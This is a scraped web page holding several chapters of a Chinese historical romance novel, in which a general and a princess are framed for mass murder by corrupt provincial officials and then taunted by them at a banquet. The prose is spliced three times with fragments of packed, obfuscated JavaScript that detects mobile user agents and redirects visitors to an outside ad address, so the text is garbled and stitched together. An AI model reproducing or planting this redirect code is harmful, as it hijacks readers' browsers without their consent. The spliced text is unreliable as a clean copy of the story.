d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195694|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口回绝,“此事不妥,还请皇上三思。” 郑公公断然没有想到江琅回回绝,举着圣旨悬于半空,进退两难。 先帝极力压着性子,“为何?” 江琅答复,“鄯州战事混乱,匈奴猖狂,鄯州侯虽奋力抵抗,但双方拉锯已久,将士苦累不堪。江琅请愿即刻赴鄯州支援,保国土不失。” 先帝不耐地转动佛珠串,“鄯州战事朕另有安排。至于你的任务,便是专心与月照公主成亲。此事已定,不容置喙!” 江琅不肯臣服,“战局未平,臣怎能谈儿女私情!” 他一心只想平息战乱,脑海里唯一记得的是先人的教诲,匈奴未灭,何以家为。* 他做不到为了个人私事,扔下战乱的百姓不管不顾。他言辞赤诚,“恳请皇上收回成命。” 先帝怒摔手串,佛珠散落,满地弹跳,振聋声响。他怒斥江琅,“为人臣子,你竟如此明目张胆忤逆朕?你眼里到底还有没有朕这个国君!” 郑公公被吓得魂飞魄散,急忙跪地匍伏,“圣上息怒!” 江琅克制着少年的满腔热血,沉默不语。 先帝抓过郑公公高举的圣旨,怒而投掷于江琅身前,呵斥道,“若再敢忤逆,斩立决!” 先帝愤懑地撩袍离去,郑公公紧急跟上,徒留江琅与满地狼藉为伴。 佛珠滚动,撞到案脚,无奈地改变了前行方向。 如同江琅的人生。 任月语怀抱棉被,评判着江琅的所作所为,“他可真是头铁。” 素雅把双臂塞进了被窝里,“将军想要做的事情,谁也拦不住。他虽然无奈答应了和亲,但是并不着急成亲,第二日就请缨想要去往鄯州剿灭匈奴,并向先帝承诺,一定速战速决,回平京后即刻完成婚事。先帝刚松口答应,将军便立即出城,甚至没有回家一趟,径直前往鄯州。” 任月语撇嘴,“他是有多急!” 素雅笑道,“将军常挂在嘴边的话,保卫山河,稳天下太平,绝不能片刻耽误。” 任月语侧躺着,双手枕在脸颊下,回味着素雅关于江琅的这一场描述,轻叹一气。 看样子,她这是摊上了一个事业狂夫君呐。 *** 她们闲谈至深夜,疲劳乏力,后半夜便睡得安稳。 次日早晨,她们在客栈楼下与队伍汇合,用过早膳后,收拾行囊准备出发。 可还未跨出客栈大门,一个千户率领几十号衙役,风风火火闯进门来,将他们团团围住。 孟昭启抵于队伍前,与千户对峙,“干什么!” 千户昂头,“接到报官,你们滥杀无辜,应押至衙门接受审问!” 千户挥手,衙役听令,向队伍靠拢。一个衙役伸手试图抓捕任月语,江琅拾起刀鞘重力击打他的手臂,刀鞘口猛撞他的额头,他重心不稳连连后撤。又有其余衙役涌来,孙一堂孙一正拔刀抵挡,与衙役相持,蠢蠢欲动。江琅将任月语护在身后。 孟昭启咒骂,“他爷爷的来劲了是吧?” 孟昭启意欲拔刀与衙役厮杀,江琅摁住了孟昭启的手背,“先别动手。” 千户得意地笑道,“算你识相,知道我们大人的意思违抗不得。”他背着手,颐指气使地向衙役们发号了指令。 “全部带走!” 8. 审判 他们被带去了官府。 堂外,二十三具尸体列成四排,冰冷苍白。五六十号家属聚集四周,妇女小孩跪在尸体旁,哭天抢地,精壮男丁面露凶色,势要报仇。 男丁们横冲直撞而来,衙役及时构筑成为一道防线,推推攘攘拦截男丁。 江琅有意遮住了任月语的眼睛,“把耳朵捂住,只用看脚下的路,跟我走便是。” 任月语顺从地捂紧双耳,不去在意悲恸哭声与漫天谩骂,眼光紧盯江琅的黑靴鞋尖,绕过拥挤的人群,从边缘绕道走进了大堂。 堂内,衙役列于两旁,冷峻严肃,迎接一位身着官服的老爷,直至那老爷入座。千户站在老爷身旁,趾高气昂。 “你们所犯的可是滔天大罪,竟由我们晋西道巡抚大人主审!”千户斥责道,“见到我们范大人,怎么还不下跪!” 江琅看清了那大人的面容,晋西道巡抚范洪明。 范洪明也正看向了江琅。因为江琅的眼神过于冰冷,似乎带着狠辣果断的杀气,范洪明不免发怵。 “罢了,穷凶极恶之人,本官懒得同他们计较那么多。”范洪明朝千户摆手,“审案要紧,先审案吧。” 孟昭启一口气堵在胸口,“审什么?你这昏官,以为戴个乌纱帽,就有资格审案?” 范洪明手指着孟昭启,“审的就是你!你看那堂外尸横遍地,全都是你滥杀无辜的证据!” 孟昭启方才路过人群,无意瞄见了地上横躺着的人,有几个确实面熟,是他之前在林子里顺手杀掉的毛贼。他挑衅道,“不过杀了几个毛贼而已,有什么大不了的?” 范洪明气愤到全身颤抖,“什么毛贼,那可都是本地淳朴善良的普通老百姓!” 孟昭启辩驳,“放你的屁!还老百姓呢,他们分明全是死囚!” 范洪明质问,“你哪只眼睛看到他们是死囚了?” 孟昭启伸出两指指着双眼,“我两只眼睛都看到了,他们穿着囚服,胸口显眼地标着两个字,死囚。” 范洪明转向身侧,对着千户讥笑道,“他们身上,还写得有字呢?” 千户摊开手,“有吗?我怎么没有看到呢?” 孟昭启疑惑,转身向堂外大踏步走去,剥开了人群。人群见状,一时没反应过来,木楞地配合着给他让了条通道,让他得以走到尸体前。他放眼望着满地尸体,才发觉他们当真和林子里的装扮不一样,没穿囚服,反而穿着粗布麻衣,倒是一个赛一个的淳朴。孟昭启不信邪,用刀鞘挑开脚边尸体的外衣,试图找寻里面是否暗藏玄机。家属们这下总算反应过来了,猛然推开孟昭启的刀鞘,愤懑咒骂。 “杀人恶魔!连尸体也不放过!”妇人夸张地朝堂内跪拜,“官老爷!还请为民除害!还我弟弟一个公道!” 妇人们声音太大,孟昭启被震得耳内巨响,他用指尖塞了塞耳孔。 男丁们被孟昭启的狂妄举动激怒,蜂拥靠拢,紧握拳头蠢蠢欲动。衙役们奋力把守,避免男丁莽撞冲到孟昭启。孟昭启神情不耐,烦躁地推开身前挡路的人,踏回堂内。 “我算是明白了,”孟昭启找范洪明辩解,“你们合伙把他们的衣服给换了,佯装成平民百姓。” 范洪明撩起长袖,展露慈爱之色,“何以见得是佯装?你好好看看他们朴实无华的模样,难道不是实打实的手无寸铁之民?” 孟昭启恼怒,“你管这叫手无寸铁?他们的身手个顶个的好!” 范洪明从案上拿出了一纸笔录,向前掷去,纸张在空中摇摆漂浮。千户急忙绕到案前,捉住纸张,再郑重摊开来,举到孟昭启的眼前。 “你看清楚了,这是仵作给出的验伤证明。”范洪明痛恨道,“你竟有脸说他们身手好,他们几乎都是被你一刀致命!” 孟昭启浏览纸上的文字,夸大事实,毫无根据。他昨日在林中与这一众死囚对抗,他即便武力再高强,面对二十来号敌人,也不可能对每个人一刀致命,好歹总有几个人要与他对抗数回合,哪能像这纸上描述的那么简单。 孟昭启夺过纸张来,利落撕碎,扔到千户身上,“你们沆瀣一气!歪曲事实!” 范洪明高声对骂,“证据确凿,你还敢抵赖!” “你……” 孟昭启被冤枉得愤怒至极,手掌握住刀柄,试图拔刀。千户遂也拔刀,准备同孟昭启对抗。江琅站在一旁,背着手,低声咳嗽了一下,算作提示。孟昭启领会了江琅的意思,不服气地将已拔出一截的刀推回了刀鞘,极力压抑着心中的翻涌,闷闷不乐向后退两步,正退到了任月语的身侧。 “夫人,”孟昭启撇着嘴,委屈地向任月语嘀咕,“我发现我们好像中了他们的圈套。” 任月语干笑了一下,“你才看出来啊?” 任月语旁观了庭审的过程,明白这巡抚大人是铁了心地要给他们安一个罪名。 范洪明嗟叹一声,故意显露一副疲态,“罢了,本官懒得再与你白费口舌。这样吧,你也无须担忧,只要你肯说出幕后指使之人,我可以考虑对你酌情处理,从轻审判。” 孟昭启怒而驳斥,“此事我一人做事一人当,有何惧怕!” 范洪明靠着椅背,上下打量孟昭启,“我看你眉宇英气,骨相正派,想必定不会是作恶多端的人。” 孟昭启撇嘴,赞同地点点头,“是的,大家都这么评价我。” 范洪明徒然提高了音量,“所以快快从实招来!你幕后指使之人到底是谁!” 孟昭启无奈至极,“你这案判的,就我幕后非得有个人是吧?” “秉公执法乃是……” 范洪明的半截话被堵在空中。屋外忽然传来了热闹的响动,一个小吏急忙跑来,神色慌张。 “大人,张大人来了。” 晋西道监察御史张昌,终于来了。 张昌看见了室外堆积满地的尸体,触目惊心,不免皱紧眉头。有的尸体开始腐烂散发恶臭,叫人恶心不已。张昌接过婢女递上的手帕,捂住口鼻。 “究竟是怎么回事?”张昌质问,“这里发生了什么?” 一群妇人和男丁仿若等来了救星,皆赶来匍匐在张昌的脚边,悲天哭诉,“大人!您一定要为我们做主啊!我们无权无势,就这样任人欺辱!我们可都是老实本分的人家啊,从不做伤人害己的事,怎么就沦落到如此惨痛的地步呐!” 他们一边哭诉一边拉扯张昌的衣袍边角。张昌将手帕塞还给婢女,忍着恶臭蹲下来,关怀地搀扶起了脚边的一位妇人。 他的言辞诚恳,“发生这般骇人听闻的案件,我也着实心痛不已。诸位放心,我一定会彻查此事,还各位一个交代!” 众人闻言,胸中堵塞的石头终于落下,感慨高呼,“谢谢老爷!” 张昌缓缓站起来,肩上担负了百姓们的深切期许,慨然允诺,“只要我张昌还在这个位置上一天,就决不允许这样的事情再次发生!” 他撩袍迈步,脚步沉重,自带一阵正义之风。范洪明匆忙小跑赶到屋外,恭敬迎接张昌。 他向张昌作揖行礼,“这劳什子的事,怎么惊动了张大人?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195695|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张昌迈上台阶,“我昨日听闻郊外出了一桩恶劣案件,一人砍杀二十来人,着实过于离奇了,我还当是想野村夫编纂的话,只能唬人。谁料到半夜听闻有人报官,城内哭声一片,我才明白坊间传闻可都是真事!此地向来环境稳定,百姓安居乐业,怎会平白无故发生这种事情?” 范洪明点头哈腰,“我也正郁闷呢,好端端的生出这么个祸端。我接到报案后,马不停蹄地派人彻查,把晋西道里里外外翻了个遍,一夜不敢合眼。好在功夫不负有心人,我顺着线索摸到了破案的关键,立马出兵到边坊客栈里羁押了那一群犯罪嫌疑人。这不,这群人正在堂内审着呢。” “噢?他们已经在堂内了?”张昌跨过门槛,“范大人,我可好心提醒你,这类穷凶之贼万万不可小觑,你切忌重兵……” 张昌正说着话,抬头时,话头戛然止住,眼睁睁望着江琅。 范洪明还在热情解释,“张大人您看,就是这几个乱贼犯了滔天大罪,我这儿正审着呢,很快就会有结果,让他们血债血偿。” 张昌却愤怒地斥责范洪明,“住口!你知道他们是谁吗?竟敢如此怠慢!” 范洪明被骂得六神无主,双臂轻微颤抖。 张昌不予理睬,转而向江琅郑重行礼寒暄,“鹰扬将军,我不知你会来此处。我这偏僻地方不懂礼数,若有冒犯,还请将军见谅。” 江琅回礼,“张大人严重了。” 张昌又将视线转向了江琅身旁,看清了任月语的面容,“想必这位就是将军夫人,月照公主?” 任月语局促地回应了一句,“你好。” 张昌的眼波似乎有些迷离。与任月语四目相对,他竟有些舍不得移开目光,“月照古国果然人杰地灵,公主也是如此绝色佳人。” 这番夸奖倒让任月语浑身不自在,她被张昌盯得后背有些发怵。 江琅跨步遮挡在任月语的身前,阻断了张昌的视线,“张大人,还请有事说事。” 张昌这才回神,对着身旁的范洪明斥责,“见到鹰扬将军和月照公主,还不速速下跪!” 范洪明狼狈地跪地匍匐,朝向江琅和任月语磕头谢罪,“小人有眼不识泰山,望将军和夫人责罚。” 江琅自知范洪明是在做戏,顺着戏台搭腔,“范大人大可不必如此。” 范洪明伏地仍未起身,战战兢兢露出一张脸,面容愁闷。 张昌疑惑,“将军都已开口,你为何还不肯起来?” “大人,我……”范洪明摆出有苦说不出的徘徊模样,末了终于下定决心,向张昌坦言,“我为百姓父母官,自是应该给无辜百姓一个交代。这案件查来,将军身上嫌疑最大……我人微言轻,只盼张大人能替百姓做主!” 张昌这下夹在了范洪明与江琅之间。他谨慎地察看江琅的脸色,不知如何是好,便问范洪明,“将军怎会是那样的人?这其中定有蹊跷!” 范洪明只管高声呼喊,“恳请大人定夺!” “这……”张昌咂舌一声,向江琅试探道,“将军意下如何?” 江琅答复,“一切按条律办事即可。” 张昌舒一口气,“将军通情达理,我也就好办了。将军也是朝廷之人,明白依照大景律,在此情景下办事规则是确定的,那便是留职待勘。” 任月语听得不大明白。她悄悄拉扯江琅的衣袖,小声询问道,“他说的是什么意思?” 江琅微微侧身,向任月语凑近了一些。 “公主,抱歉,我们可能要被困在这里一段时间了。” 9. 草堂 张昌没有按照惯例让他们进牢房,而是让他们住进了一个草堂院子。口头说是额外的恩惠,实际不过是变着法地欺辱。 草堂茅屋墙壁斑斓,木门陈旧,灰尘堆积。江琅环视一圈,挑选了西侧最大的一间房,让任月语得以歇脚。 任月语好奇,带着云霁素雅一道踏过门槛,参观房间。参观不过片刻时间,房间里响起一阵尖叫,随后任月语和云霁相继蹿出房门,惊慌地抱作一团。 “有老鼠!”两个女生颤抖不停,“不止一只!” 她们话音刚落,素雅一手抓着一根老鼠尾巴,风风火火赶出来,“夫人别怕,我捉到最大的两只了,还有一窝红崽崽,我马上去清理。” 素雅说着伸出手臂,两只老鼠倒挂在半空来回晃动,短小的爪子胡乱抓着空气。 任月语和云霁被吓得更厉害了,连连往院子中撤退,“你不要过来啊!” 孙一堂跑上前接过了素雅手中的老鼠,拎到偏远的地方进行处理。孙一正走去房间,准备清理剩余的老鼠,江琅半路拦住了他。 “你们去检查其他房间的情况,这间房我负责。” 江琅轻巧踏上石阶。有江琅带头,众人见状,分散开来到各个房间里开展清理。追逐和击打的声音此起彼伏,热闹喧哗。 任月语因为害怕,在院子里徘徊了一会儿,实在过意不去,便也去了她的房间。她发现江琅不仅清理了老鼠,还在认真打扫卫生。她想要帮忙,搬开废旧的木箱,江琅立即接过了木箱,让任月语退后。 “这里脏,霉味也重,你去院子里歇着就行。” 任月语哪好意思歇着,留在一旁做一点小活,擦擦灰尘之类。江琅不停,她也不停,这样才能让场面不至于太尴尬局促。 江琅用竹竿裹走墙角的蛛网,几个蜷曲的蜘蛛尸体掉落下来,他全数厘去。他看了一眼安静待在窗边擦窗棂的任月语,终于小声说道,“公主,抱歉,让你受委屈了。” 任月语回头,冲江琅笑了笑,“哪里受委屈,我没有那么娇气的。我只是……确实怕老鼠。” 江琅抚走床榻边的细碎稻草,“放心,我不会再让老鼠出现了。” 他收拾了稻草碎屑走出屋外,任月语跟随着走了出去。又是阴天,灰色的天幕让世间罩上一层阴霾,叫人心里也变得狭窄郁闷。 *** 在吃饭这件事情上,张昌也不让他们好过。饭菜倒是送得及时,耐不住馊味太浓,完全没办法下口。 孙一堂鼓足勇气咬了半口水饺,苦得面容扭曲,转头就往送菜那几个衙役身上吐,“这他娘的馊饭,猪都不吃!” 领头那衙役理直气壮,拿鼻孔看人,“张大人开恩,才给你们送肉馅饺子,你们可别不识抬举!” 孙一正将摆出来的碗碟全部放回桶里。他力气太大,碗碟碎了一半,饭菜油汁倾洒,“开恩,啊?那你吃,你吃!” 孙氏兄弟乒乒乓乓把拎桶退给那群衙役。那群衙役吃了闭门羹,心里赌气,还想骂上几句。孟昭启站了起来,手扶刀柄。孙氏兄弟气焰更甚,用胸膛顶人,步步紧逼。衙役们只是普通伙夫,力气再大也敌不过常年行军之人,有气不敢撒,无奈作罢,灰头土脸拿起拎桶,逃离了茅屋院子。 幸而他们这趟旅程,本就自带干粮。茅屋没有厨房,江琅吩咐吴冲毅就在院子中生火,如同之前在江边那样,摆灶煮饭。 吴冲毅铺开琳琅满目的厨具,就着现有的食物素材,挑选做几样菜。其他人也来帮忙,摆放锅碗瓢盆,洗菜摘菜,让冷清的茅屋逐渐弥散烟火气。 院外把守的几个小卒见到送菜衙役们狼狈离开,又听见了院内的动静,担心有变数,赶来检查情况。院中的人已经在大张旗鼓地摆弄食物了。小卒们平日里负责关押的犯人,都是胆战心惊之辈,小心翼翼地存活着,对他们求爹爹告爷爷地磕头求饶。结果碰到这群恶劣贼徒,目中无人胆大妄为,竟不把他们放在眼里,不把张大人放在眼里,他们着实生气。 一个小卒走来,站在江琅身前,叉腰挺胸,“不懂规矩,让本爷爷来教你!允许你们自带伙食了吗?” 他正想掀翻江琅手中的碗。江琅单膝蹲在地上,擦干净碗中的水。听见小卒的教训声,他抬头,直视小卒的双眼。说来江琅脸上其实也并无特殊的表情,可光是那么看上一眼,小卒后背竟莫名慎得出汗,不敢轻举妄动。 小卒好面子,轻哼一声。不过他也知道这个人惹不得,于是把注意力转移到旁边的任月语身上。像任月语这种娇小白嫩的小娘子,就算欺负也不敢啃声,碰起来最带劲了。 任月语正在洗萝卜,小卒伸出腿,打算踢一脚。脚还没碰到萝卜尖,小卒突然感觉自己被人暴力擒住,双脚凌空。他整个人竟被江琅紧紧掐着脖子,举到了空中。那小卒生得矮小,江琅个头高,掐着小卒轻而易举,叫小卒动弹不得。 江琅眼底有了杀气,厉声警告,“别碰她。” 孟昭启正嫌有气没处撒,一脚对准了猛烈地揣向小卒,“滚你个大鳖孙!” 小卒在地上翻滚了好几圈才总算停下,其余人赶来搀扶。小卒愤恨地往地上啐一口血,“你们……走,报告张大人!” 他痛得直不起腰,被同伴扶着走出了院子。孟昭启索性栓上了门闩,免得再被这群虾兵蟹将烦扰,搞得大家添堵,饭都吃不好。 不过那顿饭,确实也没怎么吃好,每个人看起来都有心事,吃得也就随便了些。 *** 那晚,任月语虽然睡得早,但是一直难以成功入睡。半夜或许迷迷糊糊睡着过,一直挣扎在半梦半醒之间。熬到浓稠夜幕减淡变弱,她的睡意消散,醒得彻底。躺着这一榻稻草实在难受,她索性起床,绕过熟睡的云霁和素雅,小心翼翼出了门。 一出门便碰上了江琅。 江琅立于庭院中,夜风吹拂一袭青色长衣,竟衬出他身上不可多见的单薄书卷气。他见任月语踏出门,问道,“起这么早?” 任月语轻声答,“睡不着了。你也起这么早?” 江琅点头,“嗯。” 任月语来到了江琅身旁。他们沿着庭院边径漫步,走上一道隐于杂草中的石板路。这院子虽是破旧了些,但占地还算宽广,足够两人在寅末卯初独处。 任月语心中苦闷,之前好几次想要开口问清楚,碍于人多口杂,没能找到合适的机会。此刻机会再恰当不过,她终于说道,“将军,我有一点不大明白的地方。” 江琅微微弯腰,配合着任月语的个子,“哪里不明白?” “他们都说孟昭启是十万大军,我看你这样……”任月语上下打量江琅,隔得近,她看得清江琅强劲有力的手臂轮廓。她想起了一句描写,“一身转战三千里,一剑曾当百万师。像你这样的,就得值百万大军。”* 江琅侧头,“有这么夸张?” 任月语声音恳切,“有的!一点不夸张。” 她的气焰盛,但是话一说完,气焰降了下去,变得沉闷,“我不明白的是,这一路上遇到的这么些招惹我们的小兵小将,你们分明不费力就能解决,怎么偏偏不还手,任由他们欺负?还有那什么范大人张大人,我可专门找素雅问过了,他们的官职再怎么大也远不及你大,你怎么甘愿受他们摆布?为什么不反击?” 江琅沉默了片刻,答复道,“为了等一个时机。” 任月语追问,“什么时机?” 她的话还没说完,肚子随着最后一个话音叫了起来,咕叽咕叽,欢快喜庆。 江琅笑道,“饿了?” 任月语摸着肚子,“有一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195696|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白天吃得少了些。” 江琅思索着,“想吃爆米花吗?我给你做。” 任月语略显疑虑,“你还会做爆米花?” 江琅解释,“以前行军枯燥,偶尔和将士们搞一些小食,也算乐趣。” 他观察身处的地方,还算空旷,能够施展开,“你在这里等我,我去马厩拿工具。” 他走进了拐角处。天幕更清澈了一些,从幽蓝变为浅蓝,远处可见大雁剪影,像是画中点缀的墨。 任月语等了没多久,江琅折返回来,就地搭建了操作台。他带的原材料丰富多样,有白米、黑米、紫米、薏米、玉米,任月语看得眼花缭乱。 他问道,“你想吃什么米?” 任月语玩心重,任何新奇的事物都不放过,“要不各来一点?尝尝不同的味道。” 江琅应允,“也好。” 他将各色米挑选了一些放到铜泵里,密封,生火烤炙。火焰在舞蹈,热烈的光映照在他们面庞,拂来寒冷清秋里的一阵暖意。 任月语这还是第一次与江琅独处。她喜欢这般岁月静好的模样,即便不言语,光是并排蹲着等待美味小食,也特别叫人心安满足。 天幕已亮,远处传来几声鸡鸣。 烤炙快要结束时,江琅拿了一个袋子,罩在铜泵口。任月语挪到袋子旁,满心欢喜,期待着所谓的开箱时刻。 江琅提醒道,“捂住耳朵。” 任月语手掌糊在了耳朵上,想靠近又不敢靠近。 直到江琅找准时机,开启铜泵,瞬时响起了巨大的爆破声音。原以为完好的袋子竟破了一个洞,色彩斑斓的爆米花飘散在空中,宛如下了一场彩色花瓣雨。 屋内的众人听见了声响,误以为发生了什么意外,急切慌张的奔跑出来。到达现场后,结果所见的景象诧异。 江琅正在替任月语清理满身的爆米花,任月语正在欢欣地往嘴里塞着爆米花。 任月语邀请看呆了的围观人群,“吃爆米花吗?特好吃!” 孟昭启嘴馋,先塞一口爆米花来品尝,再和孙氏兄弟一道索性把袋子撕开垫着,让爆米花铺满地。其余人全都围拢上来,席地而坐,享受这顿突如其来的美味早餐。 任月语坐在江琅身旁,挑了一捧她最认可的薏米,放到江琅手心,“尝尝你自己的手艺。” 江琅把薏米爆米花放进嘴里,嚼得清脆。 任月语也塞了一口薏米爆米花。她这会儿虽然面上看着挺快乐,但心里仍在想着昨日审判的事情。她悄悄凑近了江琅,小声说道,“我其实还有一个问题想不明白。” 江琅问道,“什么问题?” 任月语用裙摆装着爆米花,“我听素雅说,范洪明作为晋西道巡抚,官职理应比张昌这个监察御史大吧?怎么感觉范洪明……完全就是张昌的手下。” 这便涉及了一些派系斗争,江琅思忖着,用简单的语言向任月语解释,“范洪明这巡抚的位置,是张昌给的,所以他一切事情都得听从张昌的吩咐。等于说,他是张昌的傀儡。” 任月语惊讶,“张昌有这么大的能耐?巡抚的位置想给就给?” 江琅有意压低了声音,“张昌的父亲,是朝中都御史。不论他父亲是否知情,他确实借了他父亲的名号,做成了很多事。” 任月语听不懂,只是觉得都御史听起来很厉害的样子,她问江琅,“你大还是他大?” 江琅答复,“论官职实职,他大一些。” 任月语咂舌一声,“那确实挺厉害嘛。” 她正吃着爆米花,暗自感慨着有个好爹的重要性,当真可以为所欲为。院外忽然响起了马蹄急促声音,随后两个衙役赶来找寻江琅,态度倒是恭敬。 “将军,张大人有请,今日午时于繁湖酒家会面。” 10. 酒家 张昌在繁湖酒家等待着江琅一行。 繁湖酒家修筑于繁湖湖水之中,由一道廊桥与湖岸相连。酒家四面环水,景色旖旎。就餐隔间正好位于半露天处,唯有顶上亭檐遮挡,身旁视野宽阔,恰能欣赏好风光。 在如此闲适画面之下,任月语却是无心游玩,坐在酒桌前稍显局促。因为她分辨不清,到底是他们在欣赏风光,还是风光在欣赏他们。 湖岸边实在围了太多的百姓。 繁湖并不算大,由岸边探看过来,酒家的场景能被看得一清二楚。百姓们对他们又委实过于好奇,相拥聚拢一处,对他们议论纷纷。 “那不是杀人恶魔吗?怎么没关在牢里?” “听说了吗?那可是传闻中的贪狼将军。” “贪狼将军也不能滥杀无辜啊!有本事上沙场杀敌去。” “还上什么沙场啊,他现在就只是一个空壳子,根本不受朝廷待见。” “你说,这贪狼将军杀人,会不会也被处罚?” “估计悬,他又没进牢房,反倒在这里吃好喝好。” “张大人为什么不拿下他?反而以贵客对待?” “傻啊,张大人肯定被施压了!” “好人难做啊。” “我们张大人为了主持公道,还得受这么些委屈,也太辛苦了!” 任月语听见窸窸窣窣的细碎交谈声音,后背发凉,连打了两个喷嚏。阵风袭来,仿佛空气也浑浊了许多。 张昌面色平常,举起酒杯,先向江琅赔不是,“听闻几个不懂事的衙役,竟送那般饭菜给你们!怪我平日调教不够。我已让他们各领二十杖责,算是替将军解气。” 他说罢,自顾自喝下一整杯酒,再唤来店家添菜加汤,摆满一桌美味佳肴,“这算是我为将军和公主赔礼,当然,还有孟大人。” 孟昭启烦闷地将筷子杵在桌面上,夹了一块白斩鸡,嚼之无味。他没懂张昌为何点名要他也来,吃这么烦闷的一顿饭,还不如留在草堂,吃烤红薯也比吃白斩鸡强。 张昌依旧热情洋溢,为桌边众人斟满汤汁,“这是本地特有的丹参汤,有除烦安神的功效。若诸位大人不嫌弃,还请品尝鉴赏。” 任月语瞄了眼玉碗中的汤汁颜色,绯红浓稠,怪瘆人。闻着还有一股奇异的腥味,怪恶心。她甚至不敢端起碗。 张昌挨个盛汤汁。他面上细致耐心,实际动作疏忽大意,一只玉碗端不稳,在江琅眼前摔到地面上,破碎疏离。他慌忙蹲下收拾狼藉,袖袍却不慎碰翻了脚边的木桶开口,使得桶内汤汁全部被泼洒而出,顺着两级木梯往下流动,流水淙淙。 满地刺眼的红色液体,以及扑面而来的腥味。任月语恍然大悟,明白了这汤汁像什么。 像血。 他们被包围在了血泊之中,高台四周全是血。 张昌兀自惊叹,“瞧我这笨拙的模样!” 他似乎想要处理这个刺眼的场景,却又无从下手,就这样摊着双臂,来回踱步,任由红色汤汁在眼前逐渐蔓延,成为一片血泊。 江琅的眼底闪过一瞬间的波动。 店家带着一众小二赶来,清理汤汁。雪白的抹布抚过地面,即刻被染成猩红,好像人身上止不住的血。 任月语扭头,不敢再看,努力压抑着一阵阵往上涌的反胃。 张昌坐了下来,微微喘气,仿佛方才费了他好大的力气似的。他用手帕擦拭额前汗珠,在间隙里观察其余三人的反应,见任月语难受煎熬,他便叹道,“莫说公主受不了这滩猩红,连我这个男子也有些受不了。不知这店家今日是怎么熬的汤,如此怪异,活生生像人血!” 任月语心惊,原来张昌一直心知肚明,更有意把话直白地说出了口。 张昌捂住口鼻,撇开视线,“这场景……我还只在坎门屠案那日见过。” 孟昭启猛然抬头,警惕而凌厉地盯着张昌。江琅轻敲桌面示意,孟昭启记起了江琅的嘱托,憋着气遂又低下了头。 任月语疑惑不解,她不知坎门屠案是什么,不过从眼前这几人微妙反应来看,她猜测,或许……与江氏一族灭门有关? 张昌面不改色,沉浸在回忆里,徐徐诉说那日场景,“回想那日……我听家仆说起突发事件,还当是玩笑话。待朝内风声渐起,我才终于疑心,随同旁人一道去了坎门。我到的时候,已经是事后了。” 江琅呼吸平稳,看不出有何波澜,也无回应。张昌更进一步,把江琅拽进话题里,“将军,你可知人世间最恐怖的场景是什么吗?是鸦雀无声,是万籁俱静,是听不到任何人活着的气息。目之所及全是残缺的胳膊、手指、腿脚、头颅,一片发红发黑的血海,风里裹挟着熏天的腥味。我壮着胆子往血海里走,看见了江琛大人……” 忽有玉杯碎裂的声音。孟昭启的忍耐已至极限,竟徒手捏碎了玉杯,手抓着碎片不放,仍在轻微颤抖。 他总算弄清楚了这场宴的缘由——张昌是要故意刺激他们。怪不得张昌点名要他也来,他明知他性子急躁,最受不得刺激,容易爆发。怪不得要选在繁湖酒家这么个受众人瞩目的地方,一有风吹草动皆会被看在眼里,围观的人便都能成为张昌的目击证人。怪不得江琅会提前同他嘱咐叮咛,要他无论遇到何种情况,都一定记得沉住气,切勿轻举妄动,原来江琅一早就料到了张昌的目的。 张昌惊觉说错了话,忙向江琅致意,“抱歉,将军,恕我口拙,竟提起了你的亡父与已故族人。” 江琅没接话,转而向孟昭启安排道,“你回去。” 孟昭启红着眼,瓮声应答,“是。” 孟昭启疾步走过,任月语感受到身后升起一阵孟昭启带来的寒风。她攥紧了拳头,指节泛白,裙摆在手中揉成了褶皱。 张昌无辜而关怀备至,“孟大人这是怎么了?” 江琅平静答复,“军中有事,他先回去代我处理。” 张昌故作惋惜,“还没能好生招待孟大人,若有机会,一定再大摆酒肉宴请他。” 江琅客套,“张大人有心了。” 张昌为江琅夹了红烧鱼头,为任月语夹了红烧鱼肚,“还请将军公主莫要与我见怪,我这人向来嘴碎,无意谈及江琛大人和江府贪污案。” 任月语暗想,你还知道自己话多啊。 张昌撩袖坐下, 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任月语听得怒火中烧,下意识想要驳斥,“清不清白也容不得你来审判!”无奈她刚要起身,就被江琅迅捷地阻拦回原地。 他紧紧握住了她的手。 张昌面露讶异之色,“公主这是怎么了?” 任月语被牢牢箍在江琅的手心里,面颊有些发红,她支支吾吾道,“我……想吃那个鲍鱼。” 张昌愣了一下,重又露出笑容,为任月语端来玉盘,“怪我思虑不周,没能考虑到公主的口味。公主若是喜欢,我再派人做便是。” 江琅半途接过了张昌端着的玉盘,“我来就好。” 江琅给任月语夹了一只鲍鱼,给自己也夹了一只鲍鱼。两个人埋头品尝美味,不时发出几句评论。 “尝起来还真不错。” “肉质柔软细腻,麻辣入味。” 他们的交谈自得其乐,弄得张昌接不上话。 张昌干笑两声,叹道,“将军好雅兴,还能悠闲品尝鲍鱼之滋味。” 江琅回敬,“这得感谢张大人的热情款待。” 张昌冷笑,“哪里,将军客气。” 他本来想激怒江琅,奈何江琅不中招。 